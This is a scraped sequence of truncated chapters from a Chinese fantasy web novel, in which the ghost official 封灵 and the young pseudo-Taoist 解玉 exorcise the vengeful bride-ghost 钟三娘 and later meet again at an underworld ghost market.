封灵抬睫看他,直把人盯得有些不自在了起来,才悠闲而散漫地打了个呵欠,抻着懒腰飘到解玉眼前,“若只是这东西,我抬手间便可以替你解决。可这上头沾染的执念颇深,于我倒是无害,你怕是就难了……如何,还要我帮你吗?” 说着便伸出两根手指,作势要朝解玉的额头摁去。后者连忙躲开,将自己紧紧靠在桌腿边上,无奈接受自己即将和那女鬼面对面的现实。 “看来你是做好准备了,”封灵被这举动逗得笑出声来,反应过来后又连忙压下嘴角上扬的弧度,抬手朝门外虚指了一下,“去同你父母说一声吧,咱们出去。” “家母早亡,家父在我出生前便不知所踪了……我如今独身一人,也不必特意去告诉谁。”解玉先解释了一句,而后又问起封灵话里的其他之意,“只是鬼大王,我们是要出哪儿去啊?” “自然,是去夕水巷了,”封灵说得理所当然,面上更是一派的云淡风轻,“你运气好,我的差事也在那边呢,干脆一起过去料理了。” 听到封灵也要同去,解玉显然安心了不少。他缓缓吐出一口浊气,整个人看起来也松弛不少,“哦……可这会儿日头正晒,要不再晚些出门?” “……你很怕热?” 像是打量着什么稀罕物一般,封灵又将解玉上上下下扫视了一通。 解玉自是摇头,“我皮糙肉厚的,倒是无所谓……只是鬼体属阴,若您这会儿出门,无异于在烈日下曝晒,想来是会难受的吧?” 封灵愣了一瞬,神色难得有些复杂。她旋身飘回方桌上坐下,将扇柄抵在自己的下颌聊做支撑,顿了顿方道:“普通的鬼自然是受不住的,可我死的时间太久了,又在地府混迹了许多年,在白日里行走的本事还是有的……你若没什么要准备的了,这就走吧。” 解玉刚要点头,一垂眼看见自己缺了半截的下衣,忍不住抽了抽嘴角。连忙从地上爬起,只来得及念了声告罪,便急慌慌地奔进里屋收拾去了。 眼看解玉的身影消失在帘后,又不时传出几阵翻箱倒柜的动静,封灵却少见的没有生烦,更没有失了耐心出声催促,只是将腕上的勾魂索解下又缠上,反反复复,聊做打发。 “鬼大王,我准备好了……咱们走吧?” 耳边传来解玉询问的声音,熟悉的气息向封灵靠近,又在几步之遥的地方停下。红衣鬼却充耳不闻,只慢吞吞地将最后一截勾魂索缠回手腕,又细细用衣袖掩好,这才习惯性地抬眼去看,而后喟叹般的发出一声感慨—— 解玉的皮相,是真的能唬人。 裁剪粗糙的灰白衫袍,陈旧到连衣角都有些泛黄,但穿在这人身上,却成了不拘小节的洒脱。至于头发,许是时间匆忙,来不及束发挽髻,只草草地被扎成马尾式样,顶上勉强插了根木簪子固定,却更添三分落拓。 都说人靠衣装,可若要用在解玉身上,这话便得反着来了。 封灵的眉头舒展开来,眼底溢出几丝肯定与满意。她的视线继续往下,直到停在解玉的两手之处。而后,像是怀疑自己的眼睛般,斟酌着开口:“……你这是,要用它们去抓鬼吗?” “……啊?” 解玉的眼里充满了茫然,起先还以为是自己穿错了衣服,直到看清封灵注视的方向,才似反应过来般解释道:“旁人见不着您,若再像上次那般与您说话,我这疯子的名号怕就彻底洗不掉了,所以带把蒲扇遮掩遮掩……至于这油纸伞么,遮阴避雨都用得上,便也一起带上了。” 前半截有理有据,后半截却有些遮遮掩掩了。 至于在遮掩什么,解玉不必说,封灵也能猜出来。 “随你。” 她垂下眼睑,无所谓地一点头,便率先走了出去。 解玉诶了一声,连忙将伞撑开,又快步追了上去,“鬼大王,等等我!” …… “鬼大王,您觉不觉得,这地方有些阴冷啊?” 夕水巷。 解玉浑身紧绷地跟在封灵身边,一边替观察不语的鬼师娘娘遮去日阳,一边用蒲扇遮住半张脸小声问道,又无端打了好几个喷嚏。 平日人来人往的巷口,今天不知怎的,除了封灵和解玉这一人一鬼外,竟再无第三个身影出现,空荡荡地令人生寒。 “死过人的地方,总是不那么舒服的。” 封灵一副见惯了的表情,语气更是平淡。 突然,她停下脚步,伸出扇子朝某处一指,“解玉,你赚钱的机会到了。” 那方向,正是夕水巷的尽头,陆家的府宅。 解玉有些怔愣,先看了眼封灵,又朝不远处大门紧闭的陆宅望去。 一切如常。 “鬼大王,我什么都没有看见啊……” 解玉犹豫着开口。 “那家人在门上贴了驱鬼的符箓,不止一处。颜色也尚算鲜艳,当是近来才发生的事情,”封灵遥遥一点,又似笑非笑地瞥了眼解玉,“说不定,就是为了驱赶在你腿上留痕的那只鬼。” 后者被这话吓了一跳,跟着又在赚钱与保命之间摇摆不定,直到看清封灵脸上的漫不经心后,才终于下定了决心,“那,我去敲门?” “自然是你去敲门,”封灵头也不回,“想办法混进去,再把那女鬼的事情打听清楚……我先进去等你。” 说罢,也不理会解玉是何反应,兀自消失在人前,只余下一缕青烟萦绕。 解玉看着空无一人的巷口,只觉阴冷之气更甚。捏着伞柄的手有些沁汗,胸腔内的跳动声更是剧烈。忽有凉风刮过,解玉在炎炎烈日下打了个寒噤,他不敢再多想,再三说服自己无事后,三步并作两步地冲到陆家大门前,“哐哐哐”地敲出响动来。 …… 封灵绕着陆宅转了一圈,又特意在鬼气最浓郁的后院停留了片刻。确认了一些事情后,方才慢悠悠地晃去前厅,只等着解玉进来汇合。 在解玉腿上留痕的,在陆宅布下漫天鬼气的,确是从城隍庙里逃走的那只厉鬼无疑。 “……为情杀人,没意思。” 封灵张开折扇,将其盖在头顶,迎着从缝隙间透下的日光,摇头感慨。 穿过一条石 7. 女鬼三娘 《鬼师娘娘今天咸鱼了吗》全本免费阅读 “……生不生,死不死的,哪里是什么好意头。” 像是被什么东西扼住了喉咙,解玉唇瓣几度开合,却始终说不出完整的话,想了半天才憋出一句来。 “青州多山林,城镇村落便多木材行。当地百姓赖木而生,有这样的婚俗也就不足为奇了……你看,右边那棵有被砍伐过的痕迹,怕是夫妇中的哪一个已经先离世了。” 解玉顺着封灵手指的地方望去,果见接近土壤处有几道斧痕,浅浅淡淡,却不知为何没有砍尽。 “出事的是陆家老爷的儿子,如今躺在后院,已是出气多过进气了,可还是有命的……所以那女鬼是他家儿媳?” 解玉抖着声音猜测,随即又否认道:“可说不通啊!这树长得这样繁茂,少说也有个几十年了,那陆家少爷与夫人却才新婚不久,正是年轻的时候哪……” “就是你想的那样。” 封灵迟迟没等到解玉后半截的话,再一抬眼,只看见这人骤然苍白的脸色,便知他是猜出个大概来了,干脆挑明:“这婚俗,只有长于青州的本地人知道,既知道,便不会移栽一棵已然成型的大树。所以,只能是那位新娶的夫人有问题,怕是进门时便快要没气了,这才栽了可以立时砍下做棺材的树。” “……那便是冲喜,算不得被人故意害伤性命,她为何一定要缠着陆家少爷呢?” 解玉不明白。 “或许是这位陆少爷,向他弥留之际的夫人许诺过什么誓言呢?”封灵的眼里闪过一丝兴味,“看来陆老爷也没有对你说实话啊……解道长,你打听事的功夫,还有得精进呢!” 解玉也没想到事情经过会是这样,顿时被封灵的这句调侃搅得面上微燥。他下意识错开视线,嘴里说着去找陆家人问问情况,便忙不迭地从封灵的身边溜了出去。 越过后院的围墙,封灵的视线在虚空的某处停留了许久,方才飘到解玉身边,正好听见陆老爷的解释—— 钟三娘,便是那女鬼,年少时便与陆少爷认识,又因钟、陆两家长辈的关系,成年后顺理成章地订了亲事。一年前,钟三娘为备嫁离开青州,或许是路途中车马劳顿,又或许是离了家乡水土不服,总之是到了陆宅后便一病不起,数月后更是药石无灵。 陆家人守诺,陆少爷也是重感情之人,所以即便是钟三娘大限将至,也仍按照原定的婚期将其娶进了门。新婚第二日,钟三娘便撒手人寰,本也是预料当中的事情,可之后的发展却有些不对劲了起来。 陆家少爷从棺材铺回来后,便也如钟三娘般卧床不起,不管吃多少剂药都毫无用处,之后更是日日呢喃着旁人听不懂的话,一日虚弱过一日。陆家人这才意识到不对劲,开始求助起驱鬼的道士来。可道士换了一个又一个,依旧是不见任何好转,直到解玉出现叩了门。 “看来,陆少爷一定是说过什么的,否则不会……” 解玉话没有说尽。 “太阳就要落山了,”封灵看了眼天空,没有再理会解玉的话,转而吩咐起人来,“让陆家人今晚紧闭门窗,不管听到什么,也不管外头动静有多大,都不许出来……如果他们还想要自家少爷活命的话。” 这是打算动手了? 解玉愣了一下,反应过来后立刻与陆老爷说了一通,待人走尽后才担忧地看向封灵,“鬼大王,钟三娘她很难对付么,还要把陆家人都支出去……” 中元节在桥头那次,封灵可是直接就把逃窜的恶鬼给捆了,根本不需要远离人群,这次是怎么…… 听到这话,封灵欲言又止地侧过头,一张脸上写满了恨铁不成钢五个大字,语气沉重地开口:“因为你在啊……总得让他们觉得是你抓的鬼吧,不然拿什么赚钱?” 解玉啊了一声,全然没想到封灵是真的在替他考虑。他怀疑地看了眼封灵,又怕被发现般迅速别过脸,小声道:“鬼大王,我之前都没发现,原来您的心肠还挺好的……” 这是在阴阳她吧…… 封灵冷笑一声,她果然不该对这人抱什么期待,更不该因为这人撑了把伞就对他起了补偿的心思。 “解道长,你出门前用过午饭了吗?” 封灵无缘由地问了一句,而后不出意外地看着那人摇头。 “那我不得不好心肠地提醒你一句,”封灵弯了眉眼,“陆家的人这会应该都躲进自己的房间了,下人们约莫也是不会出现的。解道长,我看你身上不像是能带干粮的样子,今晚怕是要饿肚子了。” “那……等驱完鬼再吃,也是一样的。” 解玉还欲挣扎。 “可这会儿天都还没黑呢,”封灵抬手点了点窗外,皮笑肉不笑地继续,“鬼祟们都喜欢在夜半三更的出来吓人……解道长,看来你今天注定是要饿着了。” 说完,也只当看不见解玉立时耷拉下去的苦脸,自顾自地便往后院陆家少爷住的地方走去。 解玉捂着肚子,听着五脏庙内不时传出的轻微响动,少不得又是一番唉声叹气。眼见封灵越走越远,也只能举过伞继续跟上,仗着四周没有生人,边跑边喊:“鬼大王,我错了!您慢些走,等等我呀!” …… “这位陆家少爷,还真是那天在巷口和我撞上的人……” 解玉盯着卧于床榻之人的那张脸,细细打量了几番,确定道。 “那看来是你坏了钟三娘的好事,所以才被她做了记号……记得把自己藏得好些,若不小心叫她瞧见了,保不齐会把你也捎上呢!” 封灵随口胡诌了一句,见解玉被吓得有些惨白的脸,好笑的同时又勉强安慰了两句,“把心放回肚子里去,鬼师娘娘罩着你呢,没哪个不长眼的敢对你下手!” “……我定是相信鬼大王的。” 话虽这样说,解玉的眼睛却还在不死心地瞄着房间内可供藏身的地方。 结果却颇令他失望。 不说是一览无余,但也确实找不到任何可供成年男子遮掩身形的隐蔽地块。 解玉越看心越凉,深觉靠自己无用,还是要抱紧封灵这条大腿。 “鬼大王,咱们现在要做些什么哪?” 解玉不着痕迹地挤到红衣身影之后,全然不管封灵是个能随时隐去 8. 执念生鬼 《鬼师娘娘今天咸鱼了吗》全本免费阅读 “解玉,退后!” 封灵右手挥扇扬起一道劲风,左手跟着便要去够解玉的肩膀。只是不等她搭上那身灰白袍衫,解玉便扑腾着胳臂,动作更快地捕捉到了封灵的腕肘,像是看到了救星般,牢牢抓住某位封姓鬼师不放。 封灵还来不及收回的左手就这样被解玉包在了自己的掌心,不带任何的旖旎与冒犯,只是一个人在想活命时的下意识的举动。 “……我一开始不就说了么,”封灵拿扇柄敲着解玉的脑袋,试图把另一只手从这个惊魂未定的人怀里解救出来,几番无果之后只好放弃,“有鬼师娘娘罩着你,没哪个不长眼的东西敢对你下手……你怕成这样做什么?” 解玉堪称狼狈地跌坐在地上,心口像被一只无形的大手狠狠攥紧,干涩而痛苦,直逼得他喘不上气,片刻后才有所好转。 与在石桥上撞见封灵的那次不同,彼时的红衣鬼虽也带着故意吓人的心思,由始至终却不掺杂任何的恶意。而门外的钟三娘,将自己裹在浓郁的黑气当中,从头到脚都散发着腥臭的味道。 隔着被打开的那截门隙,解玉看到了钟三娘的眼睛。漆黑的瞳孔中,满满的都是恶意。 “……鬼大王。” 解玉挣扎着抬起头,封灵猩红的眸子落进他的眼底,依旧是不夹杂任何情感的注视,却比什么时候都叫他心安。 封灵并不清楚解玉此刻的想法,只知道眼前这人似乎从惊吓中恢复了,下巴一抬便示意解玉放手。后者怔愣几瞬,旋即反应过来,涨红着脸把手松开,又脸带茫然道:“鬼大王,原来您是可以被我碰到的啊……” 这下子,怔愣的一方变成了封灵。 要命,她居然忘记自己是只鬼了…… 明明化成一缕烟就可以解决的事情,她竟然丝毫没有反应过来,还任由解玉抓住自己的手平复心绪到现在。 若是被传扬出去,她鬼师娘娘的名号还能往哪里搁。 “解道长,你还记得白日里对我说过的话吗?”迎着那人茫然的视线,封灵皮笑肉不笑地开口,“男女授受不亲哪……” 尾音却拖得极长。 解玉这下连头也不抬了,只虚弱无力地反驳道:“我之前远远看着就能吓出一身冷汗,这次,这次的距离太近了……” 不知从哪处刮来的风,打在解玉被冷汗浸湿了大半的外衣上。他忍不住打了个激灵,理智逐渐回笼,而后意识到眼下并不是个说话的好时机。顾不得封灵作何感想,解玉扯过散在身前的红色袖角,着急忙慌地开口:“外边,钟三娘她……” 封灵侧眼一瞥,使劲将衣袖从解玉手里扯出来,伸出一截细长指尖,用力朝上面点着:“你以为,我为什么能坐在这里,又为什么能和你说这么久的闲话?” 解玉仰头望去,数道横梁之间,不知何时多了道霁蓝色的方形符纹,此刻正泛着细碎的幽光,无声息地将整间房屋笼罩在内。 再看门外,被解玉打开的那道缝隙依旧存在,钟三娘却再不能前进一步,像是被什么东西硬生生地止住了脚步。不止如此,连她一直呼唤陆家少爷的声音也没了,除了不断开合的唇瓣。 解玉的脸上露出了难以置信的表情,虽然早在石桥那次便见识过了,可他还是会在封灵下一次动手的时候,对地府和地府鬼师的本事生出更具象的认识。 印象中,封灵只在进门瞧过陆家少爷后随手挥过一次衣袖,原来那时便已经做好准备了么…… “鬼大王,钟三娘的嘴一直在动,是不是生前还有什么话没说尽,所以才会留在此处缠着陆家少爷不放?” 隔了段距离,解玉便也不那么怕了。他盯着钟三娘看了一会,突然问道。 封灵正从腕上解下勾魂索,闻言头也不抬地一挥手,“你想听?那便听吧。” 钟三娘的声音轻柔依旧,夜风刮过枝叶缠绕的生死树,不时发出簌簌的响动,裹着女子的凄凄哀鸣,从微开的门隙传进解玉的耳朵。 “陆郎,陆郎!” “……是你在信上说,想快些见到我,想与我早日成亲的。你如今把我拒在门外,竟连见我一面也不肯!” “陆郎,我为了你远离青州,便是害病苦痛也不曾停过一日脚程。我如此待你,你却在成婚时说要娶别的女子……陆郎,你的心是铁石做的吗!” “……陆郎,同心白首,生死不离,咱们不都说好了么?如今树已经长成,快快与我归家吧,陆郎!” 凄厉的语调不断在后院里回荡,细长的指甲在空气中胡乱抓挠着,扭曲而狰狞。被黑气围裹的钟三娘也终于现了真容——竟是一身大红嫁衣。但也只有最面上的一层殷红薄纱,再往下,仍是将死之人所穿的白色丧衣。 陆老爷说过,钟三娘与陆家少爷是在前一日黄昏拜的堂,只过了一夜,第二日晨间便咽气了。如此穿着,想来也是为了方便陆家人料理后事。 只是…… 解玉将钟三娘从头打量到脚,转头又分了丝余光在封灵身上,几瞬后默默地将视线移到别处,只当什么都没发生。 “你信不信,我把你眼珠子给挖出来?” 封灵半眯的眸子瞬间睁开,脸黑得几乎能滴出墨来。她看向解玉,五指微微用力,扇子便发出不堪重负的吱呀声,仿佛在她手里的不是扇柄,而是解玉脆弱的脖颈。 混账东西……别以为她没看出那道视线的言下之意。新嫁娘要穿红衣不假,可穿红衣的也不是个个都是新嫁娘! 解玉有些心虚地摸了摸鼻梁,像是转移注意力般将又视线移回钟三娘身上。看她毫无察觉地在门槛外来回踱步,听她颠来倒去地重复相同的话,终是忍不住劝道:“钟姑娘,既非良配,还是早些往生的好!我若是你,便舍了这陆家少爷,去地府求判官老爷给一个更好的夫婿!” 解玉非钟三娘执念所在,原该听不见这人说话的,但或许是腿上的那道掐痕起了作用,前者话音刚落,后者深黑无光的眸子便看了过来。须臾淌下两行血泪,口中仍不住道:“陆郎,陆郎!” 身边蹲了只更厉害的鬼,解玉的恐惧也淡去许多。自觉从只言片语中拼凑出了两人的过往,又盯着眼前堪称遇人不淑的女鬼久了,解玉的怜悯压过了害怕,竟反向封灵求助起来:“鬼大王,这钟三娘也挺可怜的,您要不……” “解玉,永远不要相信鬼说的话,更不要去试图可怜一只啖人血肉的厉鬼……你对他们报以信任,他们却只会利用这一点,毫不犹豫将你剥皮剔骨。” 封灵的语气很平静,脸也平静。她仅仅只是指出了鬼祟的本质,甚至没有对这句话加以任何的驳斥,后者却跟被泼了桶凉水般,从头冷到脚。 “……你以为,她是怎么成的厉鬼?” 封灵补上最后一句。 手指轻轻弹动了一下,青红的鬼火便出现在封灵的身边。五指虚合,掌背朝里,掌心向外地用力一挥,摇曳肆掠的焰苗便如听到了号角声的斗士般,立时破开半掩的门扉,直冲钟三娘的面门而去。 后者惊叫一声,堪堪避过。 抬起狭长阴狠的眼睛惊惶扫视,钟三娘小心躲开鬼火的袭击,两袖掩面地退到后院空地处,眼下血痕未干,呜咽着继续呼唤:“……陆郎,为何总有人想阻拦你我,我分明是你明媒正娶的妻子啊!” 封灵手腕一翻,掌心聚起淡淡荧光,看也不看地朝解玉肩膀一拍,那幽暗光芒便渗进了后者的身体。 “不必你再做什么了,老老实实地在这里等着,把自己的小命护好……待我把钟三娘抓回来,你就可以去找陆家人要银子了!” 殷红的勾魂索从袖口探出长长一截,封灵足下轻点,衣袂翻动间腾空而起。反手甩出一道残影,只听见凄厉一声惨叫,萦绕在钟三娘身上的黑气便淡去不少。 封灵抬手招来鬼火,将钟三娘逼退在狭窄角落。两指微拢,掐着诀默念两句,而后掌心向上,细小的符纹悬浮其中,若隐若现。手下微微使力,封灵便将符纹刻进了钟三娘苍白的前额,断了这只厉鬼隐匿身形的可能。 绕起勾魂索又是一抽,旋身飘回碎裂的房门前,封灵这才慢悠悠地向解玉解释起来,“陆家人第二次同你说的话是真的,可钟三娘也没有骗人,他们只是各自隐去了一些东西罢了。” 她回头对上解玉惊疑不定的眼,“钟三娘确实是到了陆宅后生的病,也确实在新婚的第二日便死了,但归根结底是她自己起的因。” “青州地处偏远,风俗习惯也多有不同……两家人为求彼此间吉利,商榷了许 9. 再逢鬼市 《鬼师娘娘今天咸鱼了吗》全本免费阅读 将钟三娘交还给城隍庙里的阴差,封灵却并没有立时返回地府。趁着太阳尚且半遮半挡地没有冒头,封灵又跑去沿河摆摊的早市上晃了一圈,顺道买回了被孟婆挂在嘴边许久的香料。 离开陆宅前,她从解玉的身上搜刮出了几枚铜板,如今正好派上用场。而马上就要得到一大笔银钱的解玉,当也不会注意到这几枚小小铜板的踪影。 封灵揣着香料,仗着自己是只旁人看不见的鬼,左探右望地从摊头游荡到摊尾,如此又过了大半个时辰,才踏着轻快的步伐离开。 …… 熟悉的奈何桥头,依旧是挤在孟婆小摊前等着喝汤入地府的年轻新鬼们,封灵将自己一整个蜷在摇椅上,又一次说起了酆都大帝在人间的典故,而后百无聊赖地打了个呵欠。 与解玉分开后已有大半个月,这期间封灵难得老实地留在了地府,更一步也没有出过酆都城。钟三娘的魂魄在被送回城隍庙的次日,便被总带笑脸的城隍主抬手灭消,三魂七魄无一存留。 这事她原该不知道的,但不知出于什么缘由,那城隍主去向酆都大帝道了谢后,又特意找到封灵这儿,事无巨细地透了个清楚。言语间提及那位陆姓凡人,说是等钟三娘的丧事料理完毕,他家便又要预备着娶新妇了。还说未免再生同类波折,这回就在当地找个知根知底的,再不要青州的女子了。 若钟三娘还有残魂留世,听到这消息也不知是该哭,还是该笑,亦或是该怨了…… “听说冥主前些日子特意传召了你,是有什么事情要同你交代么……我瞧着,你近来倒是十分的乖觉,连人间也不去了。” 小摊前正有不知地府深浅的新鬼闹事,孟婆掐住其中一只不听话的,面不改色地将滚沸的孟婆汤给灌了进去。抬手招来牛头马面守着秩序,这才得了些许空闲,又问起身后的红衣鬼来。 “……倒也没什么。就是告诉我一声,他将城隍庙找回丢失厉鬼的那件功劳算到了我的头上,还专门去第十殿替我加上了。只是我的罪业难赎,离投胎转世仍差了一大截,让我万不可懈怠,还需继续努力……又让我不要没事老往人间跑,免得在生人身上沾了鬼气,混了死生的界限。” 封灵每说一句,便紧跟着叹一口气,一连叹了七、八下,整个身体都显得黯淡了不少。 不用猜也知道,定是又有谁在酆都大帝面前卖了她的底,否则以这位主成日里飘忽不定的行踪,哪有闲工夫去关注一只不成气候的恶鬼,又那么恰好地去完第十殿后传召封灵。 只是…… 鬼在屋檐下,不得不低头。 封灵虽存了得过且过的心思,却也不想在那之前先断了去人间的路,自然也就不能在这当头顶风作案。否则,以她的个性,又怎会如此老实地缩在酆都城,将每日的消遣限于小小一处孟婆摊。 鬼不需要睡觉,更不需要吃喝拉撒,乐趣比之凡人本就要少上许多,封灵又是最不喜欢冷清的,是以总爱往人鬼扎堆的地方跑。去人间是如此,在地府找孟婆说话或是与谢必安斗嘴更是如此。 深深叹了口气,红衣鬼手里的扇子开了又合,竟开始怀念起给自己带来无数乐趣的假道士了。 也不知道解玉拿到钱了么,有没有重新替她起个牌位,香蜡纸钱都备好了么,又会不会因为她那日的话生出怯意…… 这人也真是稳得住,得了好处便该趁热打铁才是,怎么又开始不见踪影了呢。 “……封灵儿,真有这么无聊吗?” 孟婆坐在封灵的对面,一手托着下巴,一手拨着绑发的丝带,看着红衣鬼面上堪称索然的表情,忍不住好奇道。 她终日和新鬼们打交道,耳朵从未享过一时半刻的安静,比之封灵爱好的热闹,她倒是更喜欢不被打扰的静谧。 “再等两日……再等两日我便溜去人间。” 封灵正埋头掰着手指头,听见孟婆的问题反而愣住了,“倒也不算……只是地府里的一切都是不变的。黄泉的风刮了千年不散,血河池的水涨了又退,奈何桥上的新鬼们更是永不消绝。我日日看,月月看,便是响当当的地府十景也看烦了,自然想去些其他地方了……” 孟婆拨弄发带的手明显一滞,又迅速恢复正常,带着松快的语气道:“你才只在地府呆了一千年,便生出这许多的感慨来。我们少说也呆了万年以上了,日子不也照样过得有滋有味的……看来还是阎王派给你的活计太少了!” “谁说不是呢。” 封灵的兴致显然不高,随口附和了两句便又沉寂下去。 一时无言。 直到被路过的范无咎出声打破—— “今日新鬼已毕,你们还守在这里做甚?” 范无咎停下脚步,面无表情地开口。 孟婆头也不抬,“职责所在,不敢离开。” “……黄泉开了鬼市,酆都城里的鬼这会儿都聚过去了,你们不去?” 虽是问的“你们”,可范无咎的目光却只盯在封灵身上,显然是知道谁更有兴趣的。 果然,有鱼儿咬着钩抬头了。 “地府里还有鬼市?我怎么不知道,也从没听你们谁提起过……怕不是诓我的。” 封灵激动了一下,又立刻怀疑起来。 范无咎绷着脸并不打算开口。他最不喜欢的就是说话,最讨厌的就是别人喋喋不休地对他说话。这种一看就需要长篇大论去解释的东西,显然不在他的考虑范围当中。 “之前一直是有的,”孟婆习以为常地接过话题,“只是千年前出了场万鬼脱逃的祸事,除了鬼差守卫不力外,当时在鬼市流通的一些物件也帮了些忙,所以便被冥主从源头上禁了……你刚好是那之后下来的,自然就没见过了。” “……所以,是咱们英明神武的酆都大帝想通了,又大手一挥从源头上解禁了?” 封灵歪着脑袋,询问似的看向黑无常。 范无咎竟也真的嗯了一声,“解了,但是不能进鬼门关,所以开在了黄泉。” 看着封灵一下子激动起来的眼神,范无咎想了想,又道:“从前常有生人混入鬼市,今次当也不例外。你们去的时候注意些,别伤了寿数未尽者的阳气。” 说话间,红衣鬼已然飘出数里之外,闻言遥遥回头,大声喊道:“……你不是说,这鬼市是新开的吗!怎么会有生人!” 范无咎却不想在大庭广众之下扯着嗓子高喊,只当是没听见般回头,任由那道红影原地站了会儿,便再按捺不住地消失了。 “你巡查的路线不是这条吧……小黑,为什么冥主会突然再开鬼市 10. 熟悉之物 《鬼师娘娘今天咸鱼了吗》全本免费阅读 初时怔愣过后,封灵立刻反应过来解玉出现在鬼市的不寻常。将人扯到了自己身边,封灵左右张望着寻了个稍显空荡的角落,一使劲便将解玉推了过去。 “你是怎么进来的?这地方里外到处都是鬼,你就不怕掉了性命吗!” 封灵将人由上到下地打量了一通,除了跑动时不小心沾到的些许鬼气,解玉身上再没有任何其他的标记。自己看上的人完好无缺,红衣鬼方才松了口气,颇有些气恼地开口。 戴了张青犬面具,笑出一口齐整白牙的解玉闻言微僵,而后挠着头道:“……我听城隍庙里的阴差们说,这里要开个什么鬼市,地府里的鬼差也都会去。我寻思着或许能遇见鬼大王您呢,所以就来了……还真撞上了!” 这话乍一听倒有些诚意,只封灵渐知此人脾性,不当一回事不说,她的注意力也不在这上头,“城隍阴差?我近来日日都留于地府,也不过在数刻钟前知道有这桩事情,他们从哪儿收到的风……那些阴差来找过你了?” “不是不是,”解玉忙不迭地摇头,“我就是想去城隍庙碰碰运气,看能不能听到些钟三娘的消息……那些阴差们不知道我的眼睛可以视鬼,站在里头说话时被我听到了。我这才按着他们说的找了过来。” 虽然那日便从封灵的嘴里知道了钟三娘的下场,可解玉仍是怀抱一丝侥幸,试图再从其他途径中探寻到那女鬼的结局。 “带回去的第二日,便魂飞魄散了。” 封灵也不知道这人哪里来的怜悯,对一个差点害伤自己的厉鬼也能这样关注,还敢去拿鬼的城隍庙里转悠。 当真是不知道自己几斤几两。 “……所以,你是跟在阴差的屁股后头过来的?”封灵抬手甩开一只想要凑近的鬼,斜晲了眼继续道,“生人气息如此之重,他们竟也没个反应,就这样由着你跟进鬼市?” 被红色袖衣扫过时扬起的劲风波及,解玉苦大仇深地捂住脸,初时的激动荡然无存,连说话的语调也消沉了许多,“我,我哪里敢跟着哪……就在一旁听了个囫囵,守到半夜自己摸过去的。在入口处打转的时候,正好遇上几个也要去的货商,便好心捎了我一程。” 城隍庙里的阴差知道也就罢了,怎么连人间的凡人也会知道……听着,倒不像是酆都大帝的一时起兴,反透出几分蓄谋已久。 怪不得范无咎刚才会说出什么避让生人的话,怕不是早早便知道了。 “……你如今也算是撞上我了,鬼市是何模样你也见识过了,还是趁早回去吧。”封灵指了条方向,“你这双眼睛算是大补,发现后被鬼惦记的概率怕是不低,你也未必能再遇到个像我这般好心肠的。” 她如今对鬼市的兴趣可比解玉大多了,趁早把人打发走,她还能多游会儿黄泉。等鬼市关了或是逛烦了,再去人间找回解玉也不迟。 解玉吓了一跳,犹豫着朝外走了两步,又停下来,回头看着封灵,眼中闪烁着几分不确定的光芒。想了想从腰间取下一枚囊袋,将里头的物件倾倒在掌心,献宝似的捧到封灵眼皮子底下,挣扎着开口—— “鬼大王,这是我新给您打的牌位,用的都是上好的料子……您赏个脸看一眼呢?” 解玉的身体前倾,几乎不眨眼地等待封灵的反应。饶是被面具遮去了大半张脸,也难掩那双黑眸的紧张与切盼。 封灵红眸微眯,怀疑的目光在解玉脸上不断逡巡。须臾错开视线,勉为其难地垂下鸦睫,审视般看向这人嘴里的给自己新打的牌位。 “……” 封灵看了一眼,又看了一眼,而后诡异地沉默了起来。 倒还真是个牌位,也确实看得出用料上佳,只是这大小…… 伸出两根手指,封灵虚虚丈量了几下。若不算底座,这张新牌位最多不超过三寸,刻字更是小的可怜,怪不得能被装在囊袋里随身携带。 “你是想死了是吗?”封灵扯了扯嘴角,皮笑肉不笑地开口,“钟三娘那事,你应该也从陆家人的手里得了不少银钱吧,竟就给我个这样的牌位!” 解玉噔噔噔退后两步,捧着牌位的手有些颤抖,却强撑着没有收回。顶着封灵几欲吃人的目光,解玉讨饶般举起另一只手,竭力在脸上绽开一抹笑,硬着头皮开口:“鬼大王,我对您的真心天地可鉴。您先消消气,听我给您解释……” 封灵眼中的红芒微褪,葱白似的指尖按住眉心,又一次在心底劝说起自己来——好不容易才找到的同伙,长得不错,姿态也颇低,千万不能随随便便地生气,要是吓跑了人可就得不偿失了。 抬手间,赤色衣袖从腕上滑下些许,露出一截惨白无色的手腕。虎口处一点黑痣,靠近腕骨的地方恍惚间似有一条浅色红痕,像是被绳索之类的东西狠狠勒过后留下的残痕。 解玉受惊般跳开了视线,突然显得手足无措起来,“这只是方便我自己携带的……正经放在堂前供奉您的牌位,那之后的第二日我便请人做好了,就安放在我如今的住处,每日香蜡纸钱不断。也不知……您收到了吗?” 最后几个字,措辞极为谨慎。 封灵蜷了蜷手指,垂着眼从解玉手里取过她自己的牌位,细细看着上面的题字——鬼师封灵之灵位。 称呼是对的,名字也没有写错。若解玉说的是真话,那她是因为什么才收不到香火? “……你这次倒是乖觉。” 指腹不自觉地来回摩挲,又一点点收紧将其握在手心。封灵敛目不语,须臾倾斜着手腕向上一抛,刻有她名姓的牌位便在空中划出一道漂亮的弧线,旋着弯儿打在解玉的胸口,又被后者手忙脚乱地接住。 “那,我可不可以……” 解玉眼睛一亮,斟酌着话术试探道。 封灵下颌一扬,“虽还是藏了些自己的小心思,不过么……勉强算你不错好了。走 11. 疑窦初生 《鬼师娘娘今天咸鱼了吗》全本免费阅读 “……两位大人,可是瞧中这把扇子了?” 青灯照射不至的阴影深处,喑哑而森寒的声音骤然出现,裹着几分淬了毒的阴冷,在一众热闹的嘈杂声中显得分外突出。 封灵的思绪逐渐回笼。眨了眨眼,又收起脑袋里那些乱七八糟的想法,红衣鬼的表情再度归于正常。 “头家,你这扇子是打哪儿来的,瞧着很是特别呀?” 说话的不是封灵,而是在一旁觉察到不对劲的解玉。他似乎错认了封灵的折扇,而封灵也因为这把折扇,整只鬼的反应都变得奇怪了起来。 考虑到自己未来的钱袋子,解玉深觉需要补救一下。 桀桀怪笑两声,摊位的主人从帘布后现出真容,“不买勿问。若我答了大人的话,依照鬼市的规矩,扇子便必须被大人带走了……可您身边的这位,瞧着也对这扇子颇感兴趣。要不,您二位先商量着,谈拢之后再找卑人细聊?” 真是奇怪…… 自称卑人,却不见任何阳世气息,脚下也没有影子。若为地府之鬼,看见她却又只称大人,不知鬼师娘娘四字。至于在人间的那些,除开挂职在各地城隍庙的阴差们,便只有受酆家驭使的无根之鬼了……看着也不像。 封灵的视线落在那摊主凹凸不平的脸上,眼中不自觉地多了几分嫌弃。非人非鬼的东西,长得难看,话也难听……看来这鬼市,还真是个鱼龙混杂的污糟地方。 “这扇子我有兴趣,他不过是代我问话而已,”封灵两手交叉抱胸,“所以你现在可以答了吗?” 